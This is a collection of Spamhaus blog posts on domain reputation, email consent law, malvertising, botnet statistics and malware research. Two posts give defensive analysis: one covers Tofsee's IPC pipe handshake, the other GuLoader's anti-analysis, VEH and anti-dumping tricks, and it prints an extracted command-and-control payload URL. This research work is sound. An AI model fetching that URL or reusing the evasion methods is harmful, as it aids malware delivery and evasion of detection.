If you’ve bypassed the first part of this blog post series, we strongly recommend you go and read this article before purchasing a new domain. However, if you’re confident you must buy a new domain, here are some key considerations to make before and immediately after the domain purchase.### 1. Carefully select a top-level domain (TLD) If you’re unsure what a TLD is, read this FAQ. Over a thousand TLDs have been added to the original seven general TLDs (gTLDs) created during the internet’s early development. With such a massive influx of TLDs to the marketplace, registrars who operate the TLDs are vying for market share, so many new TLDs are offered either free, in the case of Freenom, or very cheaply for the first year. Miscreants take advantage of these low costs, registering hundreds, if not thousands, of domains for malicious purposes. These domains get listed by security vendors, and consequently, their associated TLDs start to get a bad reputation. For this reason, some security professionals chose to blanket-block these TLDs. At Spamhaus, we don’t recommend the blanket blocking of TLDs. The domain space is fluid, making it exceptionally hard to predict where the next significant domain, the next hot start-up, may choose its name. While it may seem like a quick win to dismiss an entire TLD, it will undoubtedly target sites and traffic you don’t want to block. Meanwhile, the miscreants you originally targeted have switched to a different TLD. Choose a TLD whose registry not only pays “lip service” to anti-abuse but takes action when it comes to abuse, i.e., they try to ensure minimum fraudulent registrations, and when they do occur, they work quickly to take these domains down. 2. Where you host your domain matters Once you’ve purchased your domain, it requires hosting somewhere. The question is, where? Naturally, there are numerous considerations when choosing a provider, including the type of hosting, i.e., shared or virtual private servers, reliability and capacity of those servers, speed, and effectiveness of its customer service, in addition to the cost. Rarely, when reading articles detailing the key factors to consider when choosing a hosting provider is, reputation and approach to anti-abuse mentioned. But it should be! Think about your domain as a shop front. You wouldn’t want to have it in a neighborhood filled with buildings in disrepair and vandalized, would you? After all – a neighborhood’s reputation can attract or put customers off. Similarly, the area in which you host your domain matters. Those providers hosting domains associated with malicious behavior, e.g., phishing websites, malware download sites, spam, etc., get a poor reputation in the industry. By association, your domain can be negatively affected. Here are 10 things to look for when choosing your hosting (Ideally, you’re looking for the answer to be yes to each question): General questions: 1) Is two-factor authentication (2FA) mandatory for all account logins? 2) Are automated notifications enabled for potentially suspicious activity on accounts/servers/etc.? 3) Does your provider offer managed services or support to help with setup and/or security issues? 4) Is there an Acceptable Use Policy (AUP), and is your provider prompt in dealing with abuse from other users? For your website: 5) Does your provider offer a Web Application Firewall (WAF) or similar? 6) If they offer free services, are these segmented from paying customers? 7) Does the provider offer automated update services? For your email: 9) Does your provider support modern email authentication options on your corporate email? 10) If you choose one, does your mailing list provider support bringing your own domain? 3. Protect your domain Earlier, we mentioned that your domain is an asset. In fact, it’s a hugely important asset. Imagine if you lost control of your domain. How would that affect your ability to operate? Almost every other online service you may use depends on your domain name for email signups, password resets, and DNS verification records. It could very well bring your business to an abrupt halt, not to mention the loss of revenue you would incur. Make sure that wherever you buy your domain name, they give you options to lock it down. At a minimum, have two-factor authentication on the account used for managing the domain name and, if applicable, the DNS). Do not use a freemail account for your domain registrations, if possible. Good luck with your domain shopping expedition. Remember, you get what you pay for! Make considered decisions about who you’re purchasing from and where your domain will reside. Next up, we’re looking at actions you can take to establish a good reputation for your domain as quickly as possible.

Best practice for newly registered domains: PART 1 - Ask yourself a question

The Spamhaus Team — Tue, 14 Feb 2023 17:26:19 GMT

Whether you’re running a billion-dollar organization or the local hairdressers, there are some fundamentals that anyone considering purchasing a new domain name needs to think about…. STOP - before you purchase! Before you go and buy a shiny, new domain, first ask yourself the following question: “Do I really need a new domain?”* Think about it, long and hard. Consider the fact that with a new domain name comes a considerable amount of work for you (or someone in your team) to undertake in terms of preparatory administration and, if you plan to use it for email marketing, warming up. Aside from this, don’t you already have a domain name? Most businesses and organizations own a domain name that has a good reputation associated with it, as opposed to a new domain name that has no reputation associated with it. If you’re reading this wondering what “reputation” has to do with this any of this, we recommend you read “What is domain reputation” before reading on. Don’t purchase new domains for marketing! Even if you want to run an email marketing series, we rarely recommend purchasing a new domain from which to run a campaign. Many people refer to these kinds of domains as “cousin domains”, here’s an example: You already own examplecompany.com and decide to purchase marketing-email-examplecompany.com. The problem is that even to the untrained eye, that extended domain name looks “phishy”, pardon the pun! A real-life example of recipients distrusting a domain is when the Marriott hotel chain was hacked several years ago. Marriott started to send emails from a completely different (and new) domain, marriot-emailing.com …. sadly, because the domain looked like a phishing domain, very few of the intended recipients read the important communications contained within the emails. Subdomains are your friend In a nutshell, don’t spread your reputational load over multiple domains. More often than not, the right decision is to use a sub-domain on your existing domain. This provides better anchoring not only to your brand but also your domain asset. And remember – your domain is an important asset. We have heard of stories of IT directors insisting their Marketing team get a new domain so they (the marketing team) don’t ruin the reputation of the corporate domain through bad sending practices. This is a huge red flag! If this is the case, the marketing team in question should not be allowed to send a single email from ANY domain before they get training on deliverability best practices. Ok. It’s a new business, and I do need a new domain. In which case, before you go and purchase the domain immediately, please read the second part in this series to ensure you are making the right choices relating to service providers and also have a good understanding of the fundamentals required to build up your domain reputation as quickly as possible, ensuring that your domain becomes a valuable asset, not a burden.

A beginner’s guide to domain reputation – what is it?

The Spamhaus Team — Tue, 14 Feb 2023 14:29:28 GMT

Even the words “domain reputation” are likely to make most people outside of the IT industry roll their eyes in boredom. But, if you have a non-freemail email address, or run a small (or large) website, there are some fundamentals relating to domain reputation you need to know about, otherwise you may run into trouble. The role of domains Stripping the internet back, all devices communicate using IP addresses – long strings of mostly numbers. Since these strings are hard to remember, humans tend to use words or names instead. These names are translated to IP numbers using the Domain Name System (DNS). Think of this as the phone book for the internet. By using a domain name, you establish your own entry in this global ‘phone book’. So whether you want to access a website, send an email, connect with your work’s Virtual Private Network (VPN) – it almost all relates back domain names. Understanding what domains are good and bad is mission critical for keeping the internet as safe as possible. What is domain reputation? Stating the obvious – it’s the reputation of a domain. Fundamentally, reputation is a great indicator as to if, when, and how we engage with a domain. It’s not as simple as ‘good’ and ‘bad’ though. Much like in the real world, domain reputation is far from binary. There are the good ones, the downright bad ones, and the somewhere-in-the-middle ones… So, domain reputation is not that different from a credit score. And just as a credit score requires active maintenance, so does domain reputation. While intentions can – and should – be good, actions speak louder than words. Good reputation comes with good action, following best practices, and being vigilant of potential routes to compromise. What impacts a domain’s reputation? Any activity you can think of that relates to a domain, be that: how quickly a domain is used after being registered, the network it’s hosted on, email being sent from it, hosted links… you get the picture. All these activities leave an online fingerprint. It’s that fingerprint that researchers like Spamhaus use to determine how safe a domain is to engage with. All data points assessed are provided in a trusted and secure way, without Personally Identifiable Information (PII) being shared. You can read more here. How does domain reputation impact you? Yes, you may be able to spot phishy domains online, via email or SMS, but domain reputation data is a critical layer of intelligence being used to keep you from harm, probably without your knowledge. How? This wealth of information is typically assessed for security, fraud, and/or vetting purposes. Blocking connections to malicious sites, monitoring and blocking malicious email, informing threat intelligence investigations and security operations… the list goes on. So in almost every online transaction you make, domain reputation data is being utilized – mostly indirectly and usually unbeknown to you. Behind the scenes, it is used by Internet Service Providers, Email Service Providers, enterprises, threat intelligence service providers, and more to keep users safe. Remember then, domain reputation influences a significant proportion of the online ecosphere; you just don’t see most of it. So, if you own a domain, you must actively adhere to best practices and consistently monitor your reputation. What happens if your domain reputation is deemed bad? The most common examples of how you could be impacted if your domain reputation is deemed bad or poor are: Website: connections could be blocked to your site if you are hosting malicious content (whether you’re intentionally hosting it or not), search engine indexing can be penalized, and messages containing your website’s URL may be throttled or flagged. Email: at best, your messages could end up in the recipient’s junk folder rather than in their inbox. At worst, your emails get blocked, including transactional service emails such as order confirmations. So how do you maintain your domain reputation? We said it before but will say it again – good intentions are not enough; good action is what matters, or you risk the above. So, here are some best practices to help you avoid the negative impact of a bad reputation: Strong login/password – if you control your domain name, ensure it stays that way. Have a strong and unique login/password combination for domain name management and add 2FA onto that. Many other services you might use depend on email or other verification methods usually tied to your domain name. A compromise or takeover of a domain name exposes everything tied to that. Ensure your network neighborhood is sound – hosting your domain name on a questionable network may reflect poorly on its reputation. Just as a business contributes to the character of a neighborhood, the neighborhood’s character also reflects on the business. Remember that domains work in the same way! Domain name ownership – anonymity does not contribute to good reputation. If a company/business owns a domain name, make sure it is visible in registration data. Even though a business name is not PII, many registrars will still filter it. Less is more – regarding the number of domain names you use. When buying additional domain names, always ask yourself if using a subdomain of your primary domain name is better. Often it is. If you really need different domain names, ensure they can be easily tied to the primary domain name. Always consider the reputational impact of a new domain name on email, SEO, and customer/audience expectations. A new domain that looks too much like your existing domain may be reported as phishing! Domain age – As most legitimate domain names have now been around for a long time, anything that is new is almost always at least treated with suspicion. Be sure you understand the implications of having a new domain name, and how associated activities impact reputation – like a website, an email campaign or entering a new market or geography. Domain history – be aware that if a domain has been used previously and was associated with spamming or other malicious activity, this will affect the domain’s reputation. Keeping on top of your domain reputation Today, websites and email are critical for many business operations. So to maintain business as usual, it will serve you well to actively assess your domain reputation. Use multiple resources to monitor your reputation, eliminate issues as soon as you detect them, and put measures in place so these issues don’t arise again. Spamhaus is the trusted authority in this space and runs a free tool, the IP and Domain Reputation checker (). If no listings are shown, great! But you can’t declare victory and go home; make sure best practices are in place, keep on top of vulnerabilities and be proactive in managing them.

Malware Digest January 2023

The Spamhaus Team — Fri, 03 Feb 2023 12:00:00 GMT

January saw an increase in new malware sites hosted in Russia (almost 200%!) and decrease in the US by 95%. We also saw a big increase in compromised hosts spreading Mirai.

A surge of malvertising across Google Ads is distributing dangerous malware

Sarah Miller — Thu, 02 Feb 2023 14:45:10 GMT

Threat researchers are used to seeing a moderate flow of malvertising via Google Ads. However, over the past few days, researchers have witnessed a massive spike affecting numerous famous brands, with multiple malware being utilized. This is not “the norm”. Here’s what researchers are observing and a theory (yet to be proven) on this tsunami of abuse. A ramp-up in malvertising activity Search “google ads malvertising”, and a plethora of articles published over the past few weeks will be listed. With headlines like IcedID spreads via malvertising, from CyberWire, to Hackers abuse Google Ads to spread malware in legit software, from Bleeping Computer. Numerous malware, including AuroraStealer, IcedID, Meta Stealer, RedLine Stealer, and Vidar are being delivered to victims’ machines through bad actors impersonating brands such as Adobe Reader, Gimp, Microsoft Teams, OBS, Slack, and Thunderbird using Google Ads. What abuse are we seeing? Spamhaus Technology’s partner abuse.ch and The Spamhaus Project are both observing a significant increase in this activity. On January 30th, abuse.ch reported on Twitter that victims were being lured with impersonator Thunderbird Google Ads, leading to spoofed pages, which, once clicked on, delivered an IcedID payload to the unwitting victim’s device. One day later, Google Ads was being used to spread the MetaStealer trojan: Over the past 24 hours, both Mozilla Thunderbird and Microsoft teams have been impersonated, with IcedID malware being delivered. It’s evident that despite usually focusing on malspam, the operators of IcedID have turned their attention(s) to malvertising. Meanwhile, The Spamhaus Project researchers have various intelligence relating to this spate of Google Ad malvertising, including lookalike Nvidia domains such as: Spamhaus researchers have linked fake Nvidia domains with Aurora Stealer and Vidar malware. Some of the Google Ads purposefully have typos, which we presume is to try and evade detection, for example: What could be causing this escalation? The founder of abuse.ch believes, “It is likely that a threat actor has started to sell malvertising as a service on the dark web, and there is a great deal of demand.” They explained they’re observing “different infrastructure being used in these ads, spreading different malware families.” This leads to the conclusion that “ad serving” is a service that threat actors purchase. Additionally, the research teams are simultaneously seeing two rogue ads appearing for the exact search term but spreading different malware families – this is another pointer toward the fact this is malvertising as a service. A plea to Google Ads The Spamhaus Project’s domain expert, Carel Bitter, questioned why Google Ads approved adverts linking to new domains. Throughout the security industry, the immediate use of newly registered domains is associated with high-risk activity. If you take a look at the WHOIS data for one of the Nvidia lookalike domains, it was created less than a week ago: Carel acknowledges that he’s an expert on domains, not Google Ads security – we’d love to hear from you if you have detailed knowledge in this area and can help us understand why Google is allowing the use of recently registered domains. In the meantime, we hope Google Ads can rapidly quash this wave of malicious behavior across their platform.

Have you "really" got consent for every email on your mailing list?

Simon McGarr — Thu, 02 Feb 2023 08:39:44 GMT

With so much talk about the Spamhaus Informational listings and the subsequent talk of cleaning up mailing lists and practices, here are sound words of advice from Simon McGarr, Managing Director of Data Compliance Europe, on the subject of consent. It seemed like such a great idea Once upon a time, when I was a young man trying to be helpful about my parent’s house, I decided to clean out the ashes in the fire. I’d watched my father on his hands and knees plenty of times, using a brush and steel coal shovel to transfer the ashes into a battered steel bucket. It looked like no fun at all. I realized that, foolish middle-aged parent that he was, he must have missed the obvious solution. Why not just vacuum up all those ashes? Not for me, the cinders and ash of Grimm’s fairytales. I would apply modern technology for better living. I quickly finished the job, leaving a dust-free hearth. I don’t know why nobody has ever thought of this before, I said to myself. Then I turned around and found the vacuum cleaner was on fire. Some eejit had filled it full of hot ash and embers. Sometimes, as I learned then, there is a reason nobody has thought of your brilliant idea before. This experience popped into my head as I considered the story I’m about to tell you from the Spamhaus listing archives. Another “great” idea Our friendly data controllers wanted to use a database of email contacts they had obtained (by means unknown) for commercial purposes. They wanted to sell access to this database of email addresses to their clients and use it themselves. However, they knew, dimly in the back of their minds, that there was some Data Protection issue under the General Data Protection Regulation (GDPR). Then, like my younger self, someone among our Data Controllers stopped suddenly one day and thought to themselves, “I don’t know why nobody has ever thought of this before.” Their idea wasn’t to suck up a load of rubbish – quite the opposite. They were going to send rubbish, I mean emails, to people. And after the people had received the emails, they believed they could use those email addresses legitimately. The subject line they chose was “Notice of Data Processing. This is not an advertisement.” And to be fair, you will probably agree with that subject line’s assessment once you understand their concept… Let’s circumnavigate “consent” Here was the big idea: what if we sent out a sort of Privacy Notice to everyone by email? We could even follow the format of the GDPR’s requirement for a Privacy Notice, and then we tell them that we’re processing their data on the legal basis of ‘legitimate interest.’ both ours and our clients. Having thought it, they then acted upon that thought. And how. They sent these messages out to millions and millions of email addresses. It’s not just about the GDPR The problem here, as you may have guessed by now, is that there is actually a reason why nobody has ever thought, let alone done, this before. And that reason is that emailing people for commercial purposes (which is what even emails headed ‘this is not an advertisement’ are doing when you send them to benefit a commercial, corporate entity) is not an activity solely subject to the GDPR. Commercial email to EU addresses is also subject to the e-Privacy Directives and their various national transpositions in each of the EU member states. What is the e-Privacy Directive? Good question. The e-Privacy Directive is known in the arcana of European law as a lex specialis. The GDPR is the general data protection regulation (the clue is in the name). Meanwhile, the e-Privacy rules amend those general provisions with specific, different rules for specific circumstances. Like, for example, sending commercial emails. So, while legitimate interest is permitted as a legal basis for data processing under Article 6 of the GPDR, the e-Privacy Directive restricts the legal basis on which data may be processed for the purposes of sending out commercial email to only one basis – consent. Here’s Article 13.1 of the e-Privacy Directive as inserted by Directive 2009/136/EC. You can quote this at parties if you want to be considered charming and popular. 1. The use of … electronic mail for the purposes of direct marketing may be allowed only in respect of subscribers or users who have given their prior consent. Just so everybody has an incentive to behave themselves, it goes on at Article 13.7 to insert a clause to ensure that every single person in the EU who receives an email that breaks that consent rule has a right to sue for defined penalties. A deeper dive into “consent” You’ll notice the requirement for ‘prior consent‘. The definition of consent it uses is set out in Article 4(11) of the GDPR, which sets out four requirements for; ‘consent’ of the data subject means any freely given, specific, informed and unambiguous indication of the data subject’s wishes by which he or she, by a statement or by a clear affirmative action, signifies agreement to the processing of personal data relating to him or her; Let’s break these down. 1) Freely Given What is the power relationship between the human being and the institution looking for consent? If not consenting resulted in “negative consequences” for the individual, any consent received couldn’t be said to be truly free. So, employers shouldn’t rely on consent received from their employees for processing data. Similarly, public authorities should not rely on consent as the basis of data processing of citizens or residents. In both cases, the power imbalance is too great for most consents to be freely given. The threat, even if unspoken, of potential negative consequences is too large. While there are some exceptions to this general rule, they revolve around very limited situations (limited in terms of the number of data subjects effected and the extent of the data processing involved). Our friends in data control haven’t even got as much as some compelled consent to rely upon. 2) Specific There’s some considerable overlap with the sources of the requirements for freely given consent and specific consent. This makes sense because, before you can get freely given consent, you must know what it is that you seek consent to do. Therefore you need to have a specific purpose for every form of processing so that you can seek specific, granular consent for that purpose. “Specificity” is the mortal enemy of function creep – the gradual addition of new purposes for data. By definition, if a data controller wants to increase the number of uses applied to data collected from a subject, more consent information is required. And to allow for specific consent to be given for each different use, the data controller must give the data subject a separate granular opportunity to consent. 3) Informed For consent to be informed, it is necessary to inform the data subject of certain elements that are crucial to make a choice. Therefore, WP29 is of the opinion that at least the following information is required for obtaining valid consent: i) the controller’s identity, ii) the purpose of each of the processing operations for which consent is sought, iii) what (type of) data will be collected and used, iv) the existence of the right to withdraw consent, v) information about the use of the data for automated decision-making in accordance with Article 22 (2)(c)34 where relevant, and vi) on the possible risks of data transfers due to absence of an adequacy decision and of appropriate safeguards as described in Article 46. Concerning item (i) and (iii), WP29 notes that in a case where the consent sought is to be relied upon by multiple (joint) controllers or if the data is to be transferred to or processed by other controllers who wish to rely on the original consent, these organizations should all be named.European Data Protection Board Back to the email sent by the data control team The notice sent out (‘not an advertisement’) made an effort to tell the recipients some of these things, perhaps with some intention to claim they had been appropriately informed and given ‘implied consent’ if they didn’t object. The problem with that idea comes with the final part of the puzzle. 4) Unambiguous It isn’t enough to presume consent. It’s necessary to receive an unambiguous indication of the data subject’s wishes by which he or she, by a statement or by a clear affirmative action, signifies agreement to the processing of personal data relating to him or her. People have to take a step to indicate their consent- using pre-ticked boxes or presuming that consent is given by not objecting will not meet the requirement. To recap, sending out a data processing notice by mass email doesn’t get you a clean database of European email addresses that you can say have given valid, informed consent to receive commercial email. It just gets you millions and millions of potential instances of regulatory and civil liabilities. As I learned to my cost all those years ago, nobody’s ever thought of this before because sometimes you’ve come up with an idea so bad, you’ve managed to create a trash fire in a vacuum. About Simon McGarr Simon McGarr is a lawyer with McGarr Solicitors in Dublin, and the managing director of Data Compliance Europe, a global consultancy on GDPR and data protection matters. He is a Senior Policy Advisor for M3WAAG and a guest lecturer with the European Academy of Law in Trier as well as the External Examiner for the Law Society of Ireland on Data Protection. He has represented clients in both the landmark Digital Rights Ireland and Schrems I cases before the Grand Chamber of the Court of Justice of the EU.

Annual Domain Reputation Report 2022

The Spamhaus Team — Thu, 19 Jan 2023 12:00:00 GMT

Our domain experts have created a high-level analysis of the domain ecosphere they observed in 2022 - from top listed TLDs, to top phishing terms, counts of malicious vs. compromised domains, and some valuable recommendations.

Domain Reputation Update Q4 2022

The Spamhaus Team — Tue, 17 Jan 2023 12:00:00 GMT

As anticipated, the number of newly observed and listed domains increased in Q4 2022. And with that, there was a steep increase in both compromise malware (+616%) and botnet C&C (+828%) listings. Find the detail and insight in this Q4 report.

Botnet Threat Update, Q4 2022

The Spamhaus Team — Thu, 12 Jan 2023 12:00:00 GMT

Botnet C&C operators gathered momentum in Q4. Spamhaus researchers saw a 56% increase in newly observed botnet C&C servers, the largest increase since Q3 2021! Get all the latest insights, including the rise of threats such as Qakbot and CobaltStrike, in this quarter's report.

Annual Botnet Threat Update 2022

The Spamhaus Team — Tue, 10 Jan 2023 12:00:00 GMT

In this two-page 2022 wrap-up, find the number of botnets C&Cs Spamhaus has identified (the largest number since our records began), plus the most prolific malware families associated with botnet C&Cs, and the networks and geolocations with the most botnet C&C traffic associated.

Malware Digest December 2022

The Spamhaus Team — Thu, 05 Jan 2023 12:00:00 GMT

It was a busy month for Qakbot - ThreatFox saw 30,611 IOCs related to this malware threat. On the flip side, we are happy to celebrate 1k active hunting rules on MalwareBazaar!

There's no such thing as a "free" app!

The Spamhaus Team — Thu, 15 Dec 2022 13:58:48 GMT

Downloading a free application and installing it on an internet-connected device can lead to you being unable to send email. This is because some apps allow third parties to access your device without your knowledge. These third parties then use your network connection for malicious purposes, causing your IP address to be listed as unsafe. Here’s how it works:

Malware Digest November 2022

The Spamhaus Team — Thu, 08 Dec 2022 12:00:00 GMT

Emotet is well and truly back! abuse.ch saw a 68% increase in Indicators of Compromise relating to this malware family - find more in November’s malware report.

Neutralizing Tofsee Spambot – Part 1 | Binary file vaccine

The Spamhaus Team — Wed, 07 Dec 2022 20:11:52 GMT

An introduction to malware vaccines This security concept works by proactively introducing a small piece of harmless code into a computer system to disrupt and prevent malware from executing and spreading. This is not dissimilar to how medical vaccines work (hence the use of the same terminology). Essentially, the premise is to “immunize” the system against specific types of malware by providing the system, in advance, with a form of defense. There are various types of malware vaccines, including file-based, memory-based, and network-based. They can be delivered as standalone software tools or integrated into other security products such as antivirus software. While malware vaccines can be an effective defense against certain types of malware, they should never be used as a substitute for other security measures such as keeping software and operating systems up to date, using strong passwords, and avoiding suspicious email attachments or downloads, to name but a few. It’s also important to note that as new malware strains are developed, the vaccines must be updated accordingly to remain effective. Let’s move on to the malware taking center stage in this series… An introduction to Tofsee Tofsee, also known as Gheg, is a sophisticated modular malware primarily designed to send spam email along with other full-fledged botnet activities such as mining and stealing login and email credentials, as well as downloading further malware. Generally, the additional malware downloaded is either ransomware or banking Trojans. The malware is written in C/C++ and uses various techniques to avoid detection and remain persistent on infected systems. Identifying where a vaccine can be “injected” in Tofsee To create a vaccine for a malware family, you need to have the ability to mimic the existence of part of the malware, for example, its binary file. This tricks the malware into believing that an instance of the malware code is already running on the system and, therefore, won’t try to re-infect it. The first stage in identifying points to distract from the normal execution of the binary file is to reverse engineer the malware to understand the flow process of the code. To explore the possibility of imitating the binary file, you need to check if it’s in the installer/installed path. Tofsee installer/installed paths deviate from the norm When we ran these checks with Tofsee, we noticed a slight deviation from the typical routine. Instead of checking file or registry-based artifacts, Tofsee cross-checks against an in-memory variable injected during installation. This makes it impossible to imitate the binary file; however, it did make us ask the following question: “How does Tofsee manage the duplicate runs of the same binary?” The answer is that Tofsee handles this process using Inter-Process Communication (IPC) pipes [https://www.geeksforgeeks.org/ipc-technique-pipes/]. IPC communications initiate an exist In the binary, we noticed a subroutine where Tofsee opens an IPC pipe and processes various data. The malware uses this IPC channel to communicate with another running instance to trigger an exist. An algorithm is used to generate the pipe name, creating a name based on a predetermined value. This value is specific to the infected machine and is based on the hard drive’s volume serial number. The malware purposefully does this to make hardcoded indicator of compromise (IOC) detection impossible on machines. After generating the pipe name, the data received from the pipe is cross-checked as follows: A 4-byte random integer is generated and sent across the pipe. A 4-byte integer is read from the pipe. The integrity of communication is checked using the following check (WRITE_DWORD >> 2) + WRITE_DWORD == READ_DWORD. If the check is passed, another DWORD is written, which is generated from (READ_DWORD >> 2) The calling process terminates. A chink in Tofsee’s armor Here, where the data check creates the binary, there is the potential to leverage this process for the vaccine on the proviso that the binary isn’t already running. If it is running, unfortunately, the opportunity to stop it is missed. But let’s focus on the scenario where the pipe doesn’t exist; from here, an IPC pipe of the same name is created, and another set of data is received and cross-checked with specific parameters. These checks are a little more complex than the previous ones: A 4-byte integer is read from the pipe. A 4-byte integer is generated from right-shifting the integer by 2 and adding it back. Two internally defined structures are read successively from the pipe. These structures are defined as follows: At this point, the vaccine packet can be used. The entire code for the Tofsee vaccine Below is the complete C code that you can use as a vaccine for new infections of Tofsee and existing ones, named as first dose vaccine and booster vaccine (ring any bells from the COVID days?!?). Happy vaccination coding! In our next blog post, we’ll look at a second vaccine you can use to protect against Tofsee. This one concentrates on injecting code into the memory configuration store.

Malware Digest October 2022

The Spamhaus Team — Fri, 04 Nov 2022 12:00:00 GMT

Using data from abuse.ch's platforms, the report gives an overview of malware campaigns, with insights into malware distribution sites, samples, IOCs & YARA rules.

Domain Reputation Update Q3 2022

The Spamhaus Team — Thu, 20 Oct 2022 12:00:00 GMT

We bear good news regarding domain name abuse: almost all numbers are down compared to last quarter! See the Q3 trends and find the insight into some of the tactics used by bad actors and advice to circumvent falling victim.

Botnet Threat Update Q3 2022

The Spamhaus Team — Thu, 13 Oct 2022 12:00:00 GMT

It was a busy quarter for Q3! No rest up over the vacation period with a 38% increase in botnet C&Cs detected by the research team - so there's a lot for you to catch up on. This quarter, we saw a vast amount of botnet C&Cs out of China - download the report to find all the updates.

Dissecting the new shellcode-based variant of GuLoader (CloudEyE)

The Spamhaus Team — Wed, 12 Oct 2022 13:56:48 GMT

One of the Spamhaus Project’s malware specialists has been dissecting GuLoader, attempting to analyze this tricky malware. They have taken time out from reverse engineering and sandbox detonations to share their findings… What is GuLoader? GuLoader, or as it is also known, CloudEye, is a small VB5/6 downloader malware. Typically, it downloads Remote Access Tools (RATs) and Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire, and Remcos, often (but not always), from Google Drive. What’s so special about GuLoader? GuLoader is notorious for its anti-virtual machine (anti-VM) tactics, i.e., thwarting any attempts for researchers to analyze it. In fact, it was so successful at evading analysis that, at one point, not even one of the most famous online sandboxes could detonate the malware successfully. Utilizing a packer to swerve detection GuLoader utilizes the Nullsoft Scriptable Install System (NSIS) packer to compress and encrypt its payload. The NSIS packer is a free, open-source tool commonly used to create Windows installers. However, it can also pack other types of files, such as executables. It is GuLoader’s use of the NSIS packer that makes it harder for antivirus programs to detect and remove the malware. When GuLoader packs its payload, it first compresses the file using the NSIS packer, then encrypts the compressed file with a custom encryption algorithm. The encrypted file is then embedded into the GuLoader executable. When GuLoader is run, it decrypts and unpacks the payload, then executes it. GuLoader employs a multitude of “anti” strategies We all know that virtualization is a common way to improve infrastructure efficiency and reduce costs across the IT industry. However, attackers can abuse it to evade detection and launch attacks. Here are some of the ways GuLoader evades detection: Checking for common VM tools: GuLoader checks for the presence of common VM tools such as VMware, VirtualBox, and QEMU. If any of these tools are detected, GuLoader will not execute. Checking for debuggers: GuLoader checks for the presence of debuggers such as OllyDbg and WinDbg. If a debugger is detected, GuLoader will not execute. Checking for sandboxes: GuLoader checks for the presence of sandboxes such as Cuckoo Sandbox and Anubis. If a sandbox is detected, GuLoader will not execute. We’ve covered the basic overview; now brace yourselves as we get down and dirty looking under the hood of GuLoader. How does Guloader resolve an API? GuLoader uses a hashed technique to resolve an API call; it’s a modified version of djb2 – see the example below: Binary code obfuscation techniques GuLoader uses these to make code more difficult to understand and reverse engineer. They work by making the code appear random or meaningless, making it harder for humans to understand what it does. One of the most common obfuscation techniques is “opaque predicates“, which are Boolean expressions that always return true or false values. However, the value is not known beforehand, making it difficult to understand what it does. Opaque predicates are often used with other obfuscation techniques, such as code permutation, to make the code even more difficult to understand. GuLoader uses vectored exceptional handler to change code flow One interesting feature of GuLoader is how it manages to change the code flow during runtime. This is done using vectored exceptional handler (VEH), a software exception handling mechanism. A VEH can be used to intercept and handle exceptions generated by the operating system or running programs. The operating system or program will generate an exception code when an exception occurs. The VEH then looks up the address of the exception handler associated with that exception code and calls it. GuLoader uses VEH to modify the extended instruction pointer (EIP) at an exception to point to the next legitimate instruction. Here’s the VEH setup: Initially, as the exception happens, \_CONTEXTRECORD structure is checked for the presence of hardware registers, i.e., the x86 debug registers: The EIP, where the exception happened, is compared against byte 0xcc, i.e., the software break point. This is a necessary condition for the exception to proceed and to generate the next EIP. The EIP is calculated relative to the place where the exception occurred: The byte after the exception EIP is XORed with 0xcb, and the result is added to the current EIP to get the next location for execution. The instruction in between the exception EIP and the calculated EIP is filled with junk instructions to confuse the disassembler, as illustrated below: How to automate the extraction of indicators of compromise (IOCs) from GuLoader The manual dissection of GuLoader payloads becomes a cumbersome and tedious process due to the presence of all the various hardcore anti-VM, anti-analysis, and anti-debug mechanisms. Therefore, it is imperative to automate this extraction. To make the process successful, we must first automate the dumping and then write a script to extract the parameters necessary to get the URL out of GuLoader. But GuLoader presents us with a big hurdle, i.e., the anti-dumping protection. This is a technique used to prevent reverse engineering and analysis of the code. It works by encrypting or obfuscating the code, making it exceptionally difficult to read and understand. GuLoader encrypts the main binary code at any point in the calling of any system API, which invariably makes the dumped code useless. The following two images depict “XORing the code before the call” and “deXORing after the API call”, respectively. A weakness you can exploit is the initial API call made by GuLoader, which is not wrapped in the subroutine that does all the aforementioned “anti “checks. To exploit this weakness, you can set up a DLL hook after OEP is reached, as shown in the code below: Once the dump is successful, we have to locate the key. This process is reasonably straightforward, as GuLoader encrypts the botnet command and controller (C&C) with the same subroutine as the strings. Here’s the string decoding subroutine: The interesting pattern to observe is how the parameters are supplied to the subroutine; being a subroutine with \_\_stdcall calling conventions, the stack is cleaned by the called function, but only three parameters are pushed onto the stack. Tracking back, we can observe that the key parameter is pushed using a direct call opcode. That’s precisely the location of the XOR key to be used. Once you have extracted the key, you can easily brute force for the presence of URLs in the memory dump using the following code: The output will be: python Gu2Extract.py MemDump GuLoader c2 = b’http://192.3.245.147/2022.bin Easy as that 😊! As is evident from what we’ve discussed, GuLoader is challenging to detect and remove and can pose a severe threat to both individual users and organizations. There are several ways to protect against GuLoader, most of them are IT basics – but sadly, the basics often get missed: Keep your software up to date Using a reliable antivirus solution Train users to be careful when opening email attachments. Further malware information To see what malware families our researchers are currently observing in our botnet command and controller (C&C) report, visit our Botnet Quarterly Update.

Malware Digest September 2022

The Spamhaus Team — Thu, 06 Oct 2022 12:00:00 GMT

Using data from abuse.ch's platforms, the report gives an overview of malware campaigns, with insights into malware distribution sites, samples, IOCs & YARA rules.

If you query the legacy DNSBLs via Amazon Web Services' DNS move to Spamhaus Technology's free Data Query Service

The Spamhaus Team — Thu, 22 Sep 2022 17:28:25 GMT

Are you currently using Spamhaus’ free DNS Blocklists (DNSBLs)? Do you access them via the Public Mirrors, for example, query “sbl.spamhaus.org”? Do you use Amazon Web Services’ (AWS) DNS? If you’ve answered “yes” to all three of those questions, you need to make some changes to your email infrastructure. These changes are quick and easy to make, but if you fail to make them, you could find that at some point soon, all or none of your email is blocked! The headlines for those in a hurry Our Terms of Use state that we do not allow users to query via DNS resolvers where there is no attributable reverse DNS; this includes AWS (we’ll explain why later in this article). To provide a clear signal to these users that these blocklists are not protecting their email, we will return an error code; 127.255.255.254. If you haven’t set up your email servers to accept this error code, all emails could be rejected and bounced back to their sender. To prevent any issues with your email stream, stop accessing the free blocklists via the Public Mirrors and start accessing the blocklists via Spamhaus Technology's free Data Query Service (DQS), which you can sign up for here. Once you’ve verified your email address, you will get access to a “DQS key” to include in your configuration. These config changes take only minutes; see our technical docs for more detail. Why isn't Spamhaus allowing AWS users to query the public blocklists? The blocklists that we make freely available via our Public Mirrors are for small-scale, non-commercial use. To ensure these users have a good quality of service, usage is monitored and measured against the Project’s Terms of Use. AWS masks organizations’ queries to the Public Mirrors, so the team can’t attribute usage to individual entities. We have no way of establishing the number of queries a single organization is making. To provide transparency, these free blocklists can be accessed via Spamhaus Technology's free 